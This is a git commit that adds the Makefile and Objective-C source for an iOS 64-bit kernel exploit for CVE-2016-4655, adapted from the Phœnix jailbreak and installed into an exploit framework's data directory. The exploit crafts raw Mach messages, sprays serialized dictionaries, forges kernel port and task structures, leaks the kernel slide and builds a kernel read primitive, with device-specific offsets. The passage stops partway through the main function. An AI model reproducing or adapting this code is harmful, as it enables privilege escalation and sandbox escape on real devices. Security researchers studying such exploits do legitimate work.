parent
d465226d89
commit
c5039251a2
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,26 @@
|
||||||
|
#CFLAGS=-fno-stack-protector -fomit-frame-pointer -fno-exceptions -fPIC -Os -O0
|
||||||
|
GCC_BIN_OSX=`xcrun --sdk macosx -f gcc`
|
||||||
|
GCC_BIN_IOS=`xcrun --sdk iphoneos -f gcc`
|
||||||
|
GCC_BASE_OSX=$(GCC_BIN_OSX) $(CFLAGS)
|
||||||
|
GCC_BASE_IOS=$(GCC_BIN_IOS) $(CFLAGS)
|
||||||
|
GCC_OSX=$(GCC_BASE_OSX) -arch x86_64
|
||||||
|
SDK_IOS=`xcrun --sdk iphoneos --show-sdk-path`
|
||||||
|
GCC_IOS=$(GCC_BASE_IOS) -arch arm64 -isysroot $(SDK_IOS) -Iheaders -framework CoreFoundation -framework Foundation -framework IOKit
|
||||||
|
|
||||||
|
all: clean main_ios
|
||||||
|
|
||||||
|
flatten: flatten-macho.m
|
||||||
|
$(GCC_OSX) -o $@ $^
|
||||||
|
|
||||||
|
main_ios: main.m exploit64.m find.m main.m nvpatch.m set.m
|
||||||
|
$(GCC_IOS) -o $@ $^
|
||||||
|
|
||||||
|
main_vm: flatten main_ios
|
||||||
|
./flatten main_ios main_vm
|
||||||
|
|
||||||
|
install: main_vm
|
||||||
|
cp main_vm ../../../../data/exploits/CVE-2016-4655/exploit
|
||||||
|
|
||||||
|
clean:
|
||||||
|
rm -f *.o main_ios
|
||||||
|
|
|
@ -0,0 +1,34 @@
|
||||||
|
/*
|
||||||
|
* arch.h - Code to deal with different architectures.
|
||||||
|
* Taken from kern-utils
|
||||||
|
*
|
||||||
|
* Copyright (c) 2014 Samuel Groß
|
||||||
|
* Copyright (c) 2016-2017 Siguza
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef ARCH_H
|
||||||
|
#define ARCH_H
|
||||||
|
|
||||||
|
#include <mach-o/loader.h> // mach_header, mach_header_64, segment_command, segment_command_64
|
||||||
|
#include <Foundation/Foundation.h> // NSLog
|
||||||
|
|
||||||
|
#define IMAGE_OFFSET 0x2000
|
||||||
|
#define MACH_TYPE CPU_TYPE_ARM64
|
||||||
|
#define ADDR "%016lx"
|
||||||
|
#define SIZE "%lu"
|
||||||
|
#define MACH_HEADER_MAGIC MH_MAGIC_64
|
||||||
|
#define MACH_LC_SEGMENT LC_SEGMENT_64
|
||||||
|
#define MACH_LC_SEGMENT_NAME "LC_SEGMENT_64"
|
||||||
|
#define KERNEL_SPACE 0x8000000000000000
|
||||||
|
typedef struct mach_header_64 mach_hdr_t;
|
||||||
|
typedef struct segment_command_64 mach_seg_t;
|
||||||
|
typedef struct section_64 mach_sec_t;
|
||||||
|
typedef struct load_command mach_lc_t;
|
||||||
|
|
||||||
|
#define LOG(str, args...) \
|
||||||
|
do \
|
||||||
|
{ \
|
||||||
|
NSLog(@"" str "\n", ##args); \
|
||||||
|
} while(0)
|
||||||
|
|
||||||
|
#endif
|
|
@ -0,0 +1,15 @@
|
||||||
|
/*
|
||||||
|
* exploit64.h - Get kernel_task, root and escape the sandbox
|
||||||
|
* Taken and modified from Phœnix Jailbreak
|
||||||
|
*
|
||||||
|
* Copyright (c) 2017 Siguza & tihmstar
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef EXPLOIT64_h
|
||||||
|
#define EXPLOIT64_h
|
||||||
|
|
||||||
|
#include <mach/mach.h>
|
||||||
|
|
||||||
|
task_t get_kernel_task(vm_address_t *kbase);
|
||||||
|
|
||||||
|
#endif
|
|
@ -0,0 +1,790 @@
|
||||||
|
/*
|
||||||
|
* exploit64.m - Get kernel_task, root and escape the sandbox
|
||||||
|
* Taken and modified from Phœnix Jailbreak
|
||||||
|
*
|
||||||
|
* Copyright (c) 2017 Siguza & tihmstar
|
||||||
|
*/
|
||||||
|
|
||||||
|
// Bugs by NSO Group / Lookout and Ian Beer.
|
||||||
|
// Thanks also to Max Bazaliy.
|
||||||
|
|
||||||
|
#include <stdio.h> // fprintf, stderr
|
||||||
|
#include <stdlib.h> // malloc, free
|
||||||
|
#include <sched.h> // sched_yield
|
||||||
|
#include <unistd.h> // getuid
|
||||||
|
#include <mach/mach.h>
|
||||||
|
#include <IOKit/IOKitLib.h>
|
||||||
|
|
||||||
|
#include "arch.h"
|
||||||
|
#include "find.h"
|
||||||
|
#include "mach-o.h"
|
||||||
|
#include "nvpatch.h"
|
||||||
|
|
||||||
|
/*** XXX ***/
|
||||||
|
// Offsets for iPhone SE (N69AP) 9.3.3
|
||||||
|
#define TASK_ITK_REGISTERED_OFFSET 0x288
|
||||||
|
#define TASK_BSDINFO_OFFSET 0x308
|
||||||
|
#define BSDINFO_PID_OFFSET 0x10
|
||||||
|
#define BSDINFO_KAUTH_CRED_OFFSET 0x118
|
||||||
|
#define KAUTH_CRED_REF_COUNT 0x10
|
||||||
|
/*** XXX ***/
|
||||||
|
|
||||||
|
#define msgh_request_port msgh_remote_port
|
||||||
|
#define msgh_reply_port msgh_local_port
|
||||||
|
#if !defined(_WALIGN_)
|
||||||
|
# define _WALIGN_(x) (((x) + 3) & ~3)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
static kern_return_t r3gister(task_t task, mach_port_array_t init_port_set, mach_msg_type_number_t real_count, mach_msg_type_number_t fake_count)
|
||||||
|
{
|
||||||
|
#pragma pack(4)
|
||||||
|
typedef struct {
|
||||||
|
mach_msg_header_t Head;
|
||||||
|
mach_msg_body_t msgh_body;
|
||||||
|
mach_msg_ool_ports_descriptor_t init_port_set;
|
||||||
|
NDR_record_t NDR;
|
||||||
|
mach_msg_type_number_t init_port_setCnt;
|
||||||
|
} Request;
|
||||||
|
typedef struct {
|
||||||
|
mach_msg_header_t Head;
|
||||||
|
NDR_record_t NDR;
|
||||||
|
kern_return_t RetCode;
|
||||||
|
mach_msg_trailer_t trailer;
|
||||||
|
} Reply;
|
||||||
|
#pragma pack()
|
||||||
|
|
||||||
|
union {
|
||||||
|
Request In;
|
||||||
|
Reply Out;
|
||||||
|
} Mess;
|
||||||
|
Request *InP = &Mess.In;
|
||||||
|
Reply *OutP = &Mess.Out;
|
||||||
|
|
||||||
|
InP->msgh_body.msgh_descriptor_count = 1;
|
||||||
|
InP->init_port_set.address = (void*)(init_port_set);
|
||||||
|
InP->init_port_set.count = real_count;
|
||||||
|
InP->init_port_set.disposition = 19;
|
||||||
|
InP->init_port_set.deallocate = FALSE;
|
||||||
|
InP->init_port_set.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
|
||||||
|
InP->NDR = NDR_record;
|
||||||
|
InP->init_port_setCnt = fake_count; // was real_count
|
||||||
|
InP->Head.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
|
||||||
|
InP->Head.msgh_request_port = task;
|
||||||
|
InP->Head.msgh_reply_port = mig_get_reply_port();
|
||||||
|
InP->Head.msgh_id = 3403;
|
||||||
|
|
||||||
|
kern_return_t ret = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
|
||||||
|
if(ret == KERN_SUCCESS)
|
||||||
|
{
|
||||||
|
ret = OutP->RetCode;
|
||||||
|
}
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
|
||||||
|
static kern_return_t my_io_service_add_notification_ool
|
||||||
|
(
|
||||||
|
mach_port_t master_port,
|
||||||
|
io_name_t notification_type,
|
||||||
|
io_buf_ptr_t matching,
|
||||||
|
mach_msg_type_number_t matchingCnt,
|
||||||
|
mach_port_t wake_port,
|
||||||
|
io_async_ref64_t reference,
|
||||||
|
mach_msg_type_number_t referenceCnt,
|
||||||
|
mach_port_t *notification
|
||||||
|
)
|
||||||
|
{
|
||||||
|
#pragma pack(4)
|
||||||
|
typedef struct {
|
||||||
|
mach_msg_header_t Head;
|
||||||
|
mach_msg_body_t msgh_body;
|
||||||
|
mach_msg_ool_descriptor_t matching;
|
||||||
|
mach_msg_port_descriptor_t wake_port;
|
||||||
|
NDR_record_t NDR;
|
||||||
|
mach_msg_type_number_t notification_typeOffset;
|
||||||
|
mach_msg_type_number_t notification_typeCnt;
|
||||||
|
char notification_type[128];
|
||||||
|
mach_msg_type_number_t matchingCnt;
|
||||||
|
mach_msg_type_number_t referenceCnt;
|
||||||
|
io_user_reference_t reference[8];
|
||||||
|
} Request;
|
||||||
|
typedef struct {
|
||||||
|
mach_msg_header_t Head;
|
||||||
|
mach_msg_body_t msgh_body;
|
||||||
|
mach_msg_port_descriptor_t notification;
|
||||||
|
NDR_record_t NDR;
|
||||||
|
kern_return_t result;
|
||||||
|
mach_msg_trailer_t trailer;
|
||||||
|
} Reply;
|
||||||
|
#pragma pack()
|
||||||
|
|
||||||
|
union {
|
||||||
|
Request In;
|
||||||
|
Reply Out;
|
||||||
|
} Mess;
|
||||||
|
Request *InP = &Mess.In;
|
||||||
|
Reply *Out0P = &Mess.Out;
|
||||||
|
|
||||||
|
InP->msgh_body.msgh_descriptor_count = 2;
|
||||||
|
InP->matching.address = (void*)(matching);
|
||||||
|
InP->matching.size = matchingCnt;
|
||||||
|
InP->matching.deallocate = FALSE;
|
||||||
|
InP->matching.copy = MACH_MSG_PHYSICAL_COPY;
|
||||||
|
InP->matching.type = MACH_MSG_OOL_DESCRIPTOR;
|
||||||
|
InP->wake_port.name = wake_port;
|
||||||
|
InP->wake_port.disposition = 20;
|
||||||
|
InP->wake_port.type = MACH_MSG_PORT_DESCRIPTOR;
|
||||||
|
InP->NDR = NDR_record;
|
||||||
|
|
||||||
|
if(mig_strncpy_zerofill != NULL)
|
||||||
|
{
|
||||||
|
InP->notification_typeCnt = mig_strncpy_zerofill(InP->notification_type, notification_type, 128);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
InP->notification_typeCnt = mig_strncpy(InP->notification_type, notification_type, 128);
|
||||||
|
}
|
||||||
|
|
||||||
|
unsigned int msgh_size_delta = _WALIGN_(InP->notification_typeCnt);
|
||||||
|
unsigned int msgh_size = (mach_msg_size_t)(sizeof(Request) - 192) + msgh_size_delta;
|
||||||
|
InP = (Request *) ((pointer_t) InP + msgh_size_delta - 128);
|
||||||
|
InP->matchingCnt = matchingCnt;
|
||||||
|
|
||||||
|
if(referenceCnt > 8)
|
||||||
|
{
|
||||||
|
return MIG_ARRAY_TOO_LARGE;
|
||||||
|
}
|
||||||
|
memcpy((char *) InP->reference, (const char *) reference, 8 * referenceCnt);
|
||||||
|
|
||||||
|
InP->referenceCnt = referenceCnt;
|
||||||
|
msgh_size += (8 * referenceCnt);
|
||||||
|
InP = &Mess.In;
|
||||||
|
InP->Head.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
|
||||||
|
InP->Head.msgh_request_port = master_port;
|
||||||
|
InP->Head.msgh_reply_port = mig_get_reply_port();
|
||||||
|
InP->Head.msgh_id = 2870;
|
||||||
|
InP->Head.msgh_reserved = 0;
|
||||||
|
|
||||||
|
kern_return_t ret = mach_msg(&InP->Head, MACH_SEND_MSG | MACH_RCV_MSG | MACH_MSG_OPTION_NONE, msgh_size, (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
|
||||||
|
if(ret == KERN_SUCCESS)
|
||||||
|
{
|
||||||
|
ret = Out0P->result;
|
||||||
|
}
|
||||||
|
*notification = Out0P->notification.name;
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
|
||||||
|
static kern_return_t my_io_service_open_extended
|
||||||
|
(
|
||||||
|
mach_port_t service,
|
||||||
|
task_t owningTask,
|
||||||
|
uint32_t connect_type,
|
||||||
|
NDR_record_t ndr,
|
||||||
|
io_buf_ptr_t properties,
|
||||||
|
mach_msg_type_number_t propertiesCnt,
|
||||||
|
mach_port_t *connection
|
||||||
|
)
|
||||||
|
{
|
||||||
|
#pragma pack(4)
|
||||||
|
typedef struct {
|
||||||
|
mach_msg_header_t Head;
|
||||||
|
mach_msg_body_t msgh_body;
|
||||||
|
mach_msg_port_descriptor_t owningTask;
|
||||||
|
mach_msg_ool_descriptor_t properties;
|
||||||
|
NDR_record_t NDR;
|
||||||
|
uint32_t connect_type;
|
||||||
|
NDR_record_t ndr;
|
||||||
|
mach_msg_type_number_t propertiesCnt;
|
||||||
|
} Request;
|
||||||
|
typedef struct {
|
||||||
|
mach_msg_header_t Head;
|
||||||
|
mach_msg_body_t msgh_body;
|
||||||
|
mach_msg_port_descriptor_t connection;
|
||||||
|
NDR_record_t NDR;
|
||||||
|
kern_return_t result;
|
||||||
|
mach_msg_trailer_t trailer;
|
||||||
|
} Reply;
|
||||||
|
#pragma pack()
|
||||||
|
|
||||||
|
union {
|
||||||
|
Request In;
|
||||||
|
Reply Out;
|
||||||
|
} Mess;
|
||||||
|
Request *InP = &Mess.In;
|
||||||
|
Reply *Out0P = &Mess.Out;
|
||||||
|
|
||||||
|
InP->msgh_body.msgh_descriptor_count = 2;
|
||||||
|
InP->owningTask.name = owningTask;
|
||||||
|
InP->owningTask.disposition = 19;
|
||||||
|
InP->owningTask.type = MACH_MSG_PORT_DESCRIPTOR;
|
||||||
|
|
||||||
|
InP->properties.address = (void*)(properties);
|
||||||
|
InP->properties.size = propertiesCnt;
|
||||||
|
InP->properties.deallocate = FALSE;
|
||||||
|
InP->properties.copy = MACH_MSG_PHYSICAL_COPY;
|
||||||
|
InP->properties.type = MACH_MSG_OOL_DESCRIPTOR;
|
||||||
|
|
||||||
|
InP->NDR = NDR_record;
|
||||||
|
InP->connect_type = connect_type;
|
||||||
|
InP->ndr = ndr;
|
||||||
|
InP->propertiesCnt = propertiesCnt;
|
||||||
|
InP->Head.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
|
||||||
|
InP->Head.msgh_request_port = service;
|
||||||
|
InP->Head.msgh_reply_port = mig_get_reply_port();
|
||||||
|
InP->Head.msgh_id = 2862;
|
||||||
|
InP->Head.msgh_reserved = 0;
|
||||||
|
|
||||||
|
kern_return_t ret = mach_msg(&InP->Head, MACH_SEND_MSG | MACH_RCV_MSG | MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
|
||||||
|
if(ret == KERN_SUCCESS)
|
||||||
|
{
|
||||||
|
ret = Out0P->result;
|
||||||
|
}
|
||||||
|
*connection = Out0P->connection.name;
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
|
||||||
|
enum
|
||||||
|
{
|
||||||
|
kOSSerializeDictionary = 0x01000000U,
|
||||||
|
kOSSerializeArray = 0x02000000U,
|
||||||
|
kOSSerializeSet = 0x03000000U,
|
||||||
|
kOSSerializeNumber = 0x04000000U,
|
||||||
|
kOSSerializeSymbol = 0x08000000U,
|
||||||
|
kOSSerializeString = 0x09000000U,
|
||||||
|
kOSSerializeData = 0x0a000000U,
|
||||||
|
kOSSerializeBoolean = 0x0b000000U,
|
||||||
|
kOSSerializeObject = 0x0c000000U,
|
||||||
|
|
||||||
|
kOSSerializeTypeMask = 0x7F000000U,
|
||||||
|
kOSSerializeDataMask = 0x00FFFFFFU,
|
||||||
|
|
||||||
|
kOSSerializeEndCollection = 0x80000000U,
|
||||||
|
|
||||||
|
kOSSerializeMagic = 0x000000d3U,
|
||||||
|
};
|
||||||
|
|
||||||
|
#define MIG_MAX 0x1000
|
||||||
|
#define PUSH(v) \
|
||||||
|
do \
|
||||||
|
{ \
|
||||||
|
if(idx >= MIG_MAX / sizeof(uint32_t)) \
|
||||||
|
{ \
|
||||||
|
return KERN_NO_SPACE; \
|
||||||
|
} \
|
||||||
|
dict[idx] = (v); \
|
||||||
|
++idx; \
|
||||||
|
} while(0)
|
||||||
|
|
||||||
|
static kern_return_t prepare_ptr(uint32_t *dict, size_t *size, uintptr_t ptr, size_t num)
|
||||||
|
{
|
||||||
|
size_t idx = 0;
|
||||||
|
|
||||||
|
PUSH(kOSSerializeMagic);
|
||||||
|
PUSH(kOSSerializeEndCollection | kOSSerializeDictionary | 1);
|
||||||
|
PUSH(kOSSerializeSymbol | 4);
|
||||||
|
PUSH(0x0079656b); // "key"
|
||||||
|
PUSH(kOSSerializeEndCollection | kOSSerializeArray | (uint32_t)num);
|
||||||
|
|
||||||
|
for(size_t i = 0; i < num; ++i)
|
||||||
|
{
|
||||||
|
PUSH(((i == num - 1) ? kOSSerializeEndCollection : 0) | kOSSerializeData | (2 * sizeof(uintptr_t)));
|
||||||
|
PUSH(((uint32_t*)&ptr)[0]);
|
||||||
|
PUSH(((uint32_t*)&ptr)[1]);
|
||||||
|
PUSH(((uint32_t*)&ptr)[0]);
|
||||||
|
PUSH(((uint32_t*)&ptr)[1]);
|
||||||
|
}
|
||||||
|
|
||||||
|
*size = idx * sizeof(uint32_t);
|
||||||
|
return KERN_SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
#undef PUSH
|
||||||
|
|
||||||
|
static kern_return_t spray(const void *dict, size_t size, mach_port_t *port)
|
||||||
|
{
|
||||||
|
static io_master_t master = MACH_PORT_NULL;
|
||||||
|
if(master == MACH_PORT_NULL)
|
||||||
|
{
|
||||||
|
kern_return_t ret = host_get_io_master(mach_host_self(), &master);
|
||||||
|
if(ret != KERN_SUCCESS)
|
||||||
|
{
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return my_io_service_add_notification_ool(master, "IOServiceTerminate", (char*)dict, (uint32_t)size, MACH_PORT_NULL, NULL, 0, port);
|
||||||
|
}
|
||||||
|
|
||||||
|
static kern_return_t send_ports(mach_port_t target, mach_port_t payload, mach_msg_size_t num)
|
||||||
|
{
|
||||||
|
mach_port_t init_port_set[num];
|
||||||
|
for(size_t i = 0; i < num; ++i)
|
||||||
|
{
|
||||||
|
init_port_set[i] = payload;
|
||||||
|
}
|
||||||
|
|
||||||
|
#pragma pack(4)
|
||||||
|
typedef struct {
|
||||||
|
mach_msg_header_t Head;
|
||||||
|
mach_msg_body_t msgh_body;
|
||||||
|
mach_msg_ool_ports_descriptor_t init_port_set[1];
|
||||||
|
} Request;
|
||||||
|
#pragma pack()
|
||||||
|
|
||||||
|
Request req;
|
||||||
|
|
||||||
|
req.msgh_body.msgh_descriptor_count = 1;
|
||||||
|
req.init_port_set[0].address = (void*)(init_port_set);
|
||||||
|
req.init_port_set[0].count = num;
|
||||||
|
req.init_port_set[0].disposition = 19;
|
||||||
|
req.init_port_set[0].deallocate = FALSE;
|
||||||
|
req.init_port_set[0].type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
|
||||||
|
|
||||||
|
req.Head.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
|
||||||
|
req.Head.msgh_request_port = target;
|
||||||
|
req.Head.msgh_reply_port = 0;
|
||||||
|
req.Head.msgh_id = 1337;
|
||||||
|
|
||||||
|
return mach_msg(&req.Head, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(req), 0, 0, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
|
||||||
|
}
|
||||||
|
|
||||||
|
static kern_return_t receive_ports(mach_port_t port, mach_port_t **payload)
|
||||||
|
{
|
||||||
|
#pragma pack(4)
|
||||||
|
typedef struct {
|
||||||
|
mach_msg_header_t Head;
|
||||||
|
mach_msg_body_t msgh_body;
|
||||||
|
mach_msg_ool_ports_descriptor_t init_port_set[1];
|
||||||
|
mach_msg_trailer_t trailer;
|
||||||
|
} Reply;
|
||||||
|
#pragma pack()
|
||||||
|
|
||||||
|
Reply rep;
|
||||||
|
kern_return_t ret = mach_msg(&rep.Head, MACH_RCV_MSG | MACH_RCV_TIMEOUT, 0, sizeof(rep), port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
|
||||||
|
if(ret == KERN_SUCCESS && payload)
|
||||||
|
{
|
||||||
|
*payload = rep.init_port_set[0].address;
|
||||||
|
}
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void release_ports(mach_port_t *arr, size_t size)
|
||||||
|
{
|
||||||
|
task_t self = mach_task_self();
|
||||||
|
for(size_t i = 0; i < size; ++i)
|
||||||
|
{
|
||||||
|
if(arr[i] != MACH_PORT_NULL)
|
||||||
|
{
|
||||||
|
mach_port_destroy(self, arr[i]);
|
||||||
|
arr[i] = MACH_PORT_NULL;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
struct {
|
||||||
|
uintptr_t data;
|
||||||
|
uintptr_t pad;
|
||||||
|
uintptr_t type;
|
||||||
|
} lock; // mutex lock
|
||||||
|
uint32_t ref_count;
|
||||||
|
char pad[TASK_BSDINFO_OFFSET - sizeof(uint32_t) - 3 * sizeof(uintptr_t)];
|
||||||
|
uintptr_t bsd_info;
|
||||||
|
} ktask_t;
|
||||||
|
|
||||||
|
typedef struct __attribute__((__packed__)) {
|
||||||
|
uint32_t ip_bits;
|
||||||
|
uint32_t ip_references;
|
||||||
|
struct __attribute__((__packed__)) {
|
||||||
|
uintptr_t data;
|
||||||
|
uint32_t pad;
|
||||||
|
uint32_t type;
|
||||||
|
} ip_lock; // spinlock
|
||||||
|
struct __attribute__((__packed__)) {
|
||||||
|
struct __attribute__((__packed__)) {
|
||||||
|
struct __attribute__((__packed__)) {
|
||||||
|
uint32_t flags;
|
||||||
|
uint32_t waitq_interlock;
|
||||||
|
uint64_t waitq_set_id;
|
||||||
|
uint64_t waitq_prepost_id;
|
||||||
|
struct __attribute__((__packed__)) {
|
||||||
|
uintptr_t next;
|
||||||
|
uintptr_t prev;
|
||||||
|
} waitq_queue;
|
||||||
|
} waitq;
|
||||||
|
uintptr_t messages;
|
||||||
|
natural_t seqno;
|
||||||
|
natural_t receiver_name;
|
||||||
|
uint16_t msgcount;
|
||||||
|
uint16_t qlimit;
|
||||||
|
} port;
|
||||||
|
} ip_messages;
|
||||||
|
natural_t ip_flags;
|
||||||
|
uintptr_t ip_receiver;
|
||||||
|
uintptr_t ip_kobject;
|
||||||
|
uintptr_t ip_nsrequest;
|
||||||
|
uintptr_t ip_pdrequest;
|
||||||
|
uintptr_t ip_requests;
|
||||||
|
uintptr_t ip_premsg;
|
||||||
|
uint64_t ip_context;
|
||||||
|
natural_t ip_mscount;
|
||||||
|
natural_t ip_srights;
|
||||||
|
natural_t ip_sorights;
|
||||||
|
} kport_t;
|
||||||
|
|
||||||
|
#define OUT_LABEL(label, code...) \
|
||||||
|
do \
|
||||||
|
{ \
|
||||||
|
ret = (code); \
|
||||||
|
if(ret != KERN_SUCCESS) \
|
||||||
|
{ \
|
||||||
|
LOG(#code ": %s (%u)", mach_error_string(ret), ret); \
|
||||||
|
goto label; \
|
||||||
|
} \
|
||||||
|
} while(0)
|
||||||
|
|
||||||
|
#define OUT(code...) OUT_LABEL(out, ##code)
|
||||||
|
|
||||||
|
static kern_return_t get_kernel_anchor(size_t *anchor)
|
||||||
|
{
|
||||||
|
kern_return_t ret = KERN_FAILURE;
|
||||||
|
task_t self = mach_task_self();
|
||||||
|
io_service_t service = MACH_PORT_NULL;
|
||||||
|
io_connect_t client = MACH_PORT_NULL;
|
||||||
|
io_iterator_t it = MACH_PORT_NULL;
|
||||||
|
io_object_t o = MACH_PORT_NULL;
|
||||||
|
|
||||||
|
service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("AppleMobileFileIntegrity"));
|
||||||
|
if(!MACH_PORT_VALID(service))
|
||||||
|
{
|
||||||
|
LOG("Invalid service");
|
||||||
|
goto out;
|
||||||
|
}
|
||||||
|
|
||||||
|
const char xml[] = "<plist><dict><key>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</key><integer size=\"512\">1768515945</integer></dict></plist>";
|
||||||
|
OUT(my_io_service_open_extended(service, self, 0, NDR_record, (char*)xml, sizeof(xml), &client));
|
||||||
|
OUT(IORegistryEntryGetChildIterator(service, "IOService", &it));
|
||||||
|
|
||||||
|
bool found = false;
|
||||||
|
while((o = IOIteratorNext(it)) != MACH_PORT_NULL && !found)
|
||||||
|
{
|
||||||
|
uintptr_t buf[16];
|
||||||
|
uint32_t size = (uint32_t)sizeof(buf);
|
||||||
|
ret = IORegistryEntryGetProperty(o, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", (char*)buf, &size);
|
||||||
|
if(ret == KERN_SUCCESS)
|
||||||
|
{
|
||||||
|
*anchor = buf[1];
|
||||||
|
found = true;
|
||||||
|
}
|
||||||
|
IOObjectRelease(o);
|
||||||
|
o = MACH_PORT_NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
out:;
|
||||||
|
if(it != MACH_PORT_NULL)
|
||||||
|
{
|
||||||
|
IOObjectRelease(it);
|
||||||
|
}
|
||||||
|
if(client != MACH_PORT_NULL)
|
||||||
|
{
|
||||||
|
IOObjectRelease(client);
|
||||||
|
}
|
||||||
|
if(service != MACH_PORT_NULL)
|
||||||
|
{
|
||||||
|
IOObjectRelease(service);
|
||||||
|
}
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
|
||||||
|
#define NUM_FILL 100
|
||||||
|
#define NUM_SPRAY 1000
|
||||||
|
|
||||||
|
task_t get_kernel_task(vm_address_t *kbase)
|
||||||
|
{
|
||||||
|
kern_return_t ret;
|
||||||
|
mach_port_limits_t limits = { .mpl_qlimit = 1000 };
|
||||||
|
mach_port_t cleanup_port = MACH_PORT_NULL,
|
||||||
|
fake_port = MACH_PORT_NULL,
|
||||||
|
port = MACH_PORT_NULL;
|
||||||
|
uintptr_t kptr = 0,
|
||||||
|
kernel_base = 0;
|
||||||
|
task_t kernel_task = MACH_PORT_NULL,
|
||||||
|
self = mach_task_self();
|
||||||
|
size_t anchor = 0,
|
||||||
|
size_big = 0,
|
||||||
|
size_small = 0;
|
||||||
|
segment_t __text =
|
||||||
|
{
|
||||||
|
.addr = 0,
|
||||||
|
.len = 0,
|
||||||
|
.buf = NULL,
|
||||||
|
};
|
||||||
|
bool need_cleanup = false;
|
||||||
|
void *dict_big = malloc(MIG_MAX),
|
||||||
|
*dict_small = malloc(MIG_MAX);
|
||||||
|
mach_hdr_t *hdr = malloc(MAX_HEADER_SIZE);
|
||||||
|
if(!dict_big || !dict_small || !hdr)
|
||||||
|
{
|
||||||
|
LOG("Failed to allocate dicts");
|
||||||
|
goto out;
|
||||||
|
}
|
||||||
|
|
||||||
|
OUT(mach_port_allocate(self, MACH_PORT_RIGHT_RECEIVE, &cleanup_port));
|
||||||
|
OUT(mach_port_insert_right(self, cleanup_port, cleanup_port, MACH_MSG_TYPE_MAKE_SEND));
|
||||||
|
OUT(mach_port_set_attributes(self, cleanup_port, MACH_PORT_LIMITS_INFO, (mach_port_info_t)&limits, MACH_PORT_LIMITS_INFO_COUNT));
|
||||||
|
|
||||||
|
OUT(mach_port_allocate(self, MACH_PORT_RIGHT_RECEIVE, &port));
|
||||||
|
OUT(mach_port_insert_right(self, port, port, MACH_MSG_TYPE_MAKE_SEND));
|
||||||
|
OUT(mach_port_set_attributes(self, port, MACH_PORT_LIMITS_INFO, (mach_port_info_t)&limits, MACH_PORT_LIMITS_INFO_COUNT));
|
||||||
|
|
||||||
|
ktask_t ktask =
|
||||||
|
{
|
||||||
|
.ref_count = 100,
|
||||||
|
.bsd_info = 0xffffff8069696969, // dummy
|
||||||
|
};
|
||||||
|
kport_t kport =
|
||||||
|
{
|
||||||
|
.ip_bits = 0x80000002, // IO_BITS_ACTIVE | IOT_PORT | IKOT_TASK
|
||||||
|
.ip_references = 100,
|
||||||
|
.ip_lock =
|
||||||
|
{
|
||||||
|
.type = 0x11,
|
||||||
|
},
|
||||||
|
.ip_messages =
|
||||||
|
{
|
||||||
|
.port =
|
||||||
|
{
|
||||||
|
.receiver_name = 1,
|
||||||
|
.msgcount = MACH_PORT_QLIMIT_KERNEL,
|
||||||
|
.qlimit = MACH_PORT_QLIMIT_KERNEL,
|
||||||
|
},
|
||||||
|
},
|
||||||
|
.ip_receiver = 0x12345678, // dummy
|
||||||
|
.ip_srights = 99,
|
||||||
|
};
|
||||||
|
#define KREAD(addr, buf, size) \
|
||||||
|
do \
|
||||||
|
{ \
|
||||||
|
for(size_t i = 0; i < ((size) + sizeof(uint32_t) - 1) / sizeof(uint32_t); ++i) \
|
||||||
|
{ \
|
||||||
|
ktask.bsd_info = (addr + i * sizeof(uint32_t)) - BSDINFO_PID_OFFSET; \
|
||||||
|
OUT(pid_for_task(fake_port, (int*)((uint32_t*)(buf) + i))); \
|
||||||
|
} \
|
||||||
|
} while(0)
|
||||||
|
|
||||||
|
LOG("Leaking kernel slide...");
|
||||||
|
OUT(get_kernel_anchor(&anchor));
|
||||||
|
LOG("anchor: 0x%lx", anchor);
|
||||||
|
kptr = (uintptr_t)&kport;
|
||||||
|
|
||||||
|
